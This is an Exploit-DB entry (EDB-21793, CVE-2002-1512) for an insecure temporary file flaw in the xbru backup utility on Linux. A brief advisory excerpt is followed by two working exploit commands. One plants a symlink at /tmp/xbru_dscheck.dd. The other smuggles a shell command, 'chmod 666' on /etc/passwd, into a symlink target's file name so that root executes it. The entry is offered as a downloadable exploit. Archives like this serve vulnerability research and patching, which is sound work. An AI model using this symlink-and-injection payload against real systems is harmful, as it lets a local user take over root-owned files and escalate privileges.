Exploit database

EDB-21793

BRU 17.0 - XBRU Insecure Temporary File

Exploit-DBlinuxlocal
Download source

Sources for CVE-2002-1512

1 source

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.

EDB-21793.txt

Text · 664 bytes
source: https://web.archive.org/web/2002/https://www.securityfocus.com/bid/5708/info

BRU is a backup and restore utility distributed by The Tolis Group. This problem affects the utility on the Linux platform.

xbru does not properly check for the existence of temporary files prior to execution. Because of this, it is possible for a local user to create symbolic links to other files, which will be overwritten by the BRU user. As BRU is typically run by the root user, this could result in the overwriting of root-owned files.

ln -s /tmp/clobber /tmp/xbru_dscheck.dd

ln -s /etc/log.d/scripts/logfiles/xferlog/'`cd etc;chmod 666 passwd #`' /tmp/xbru_dscheck.dd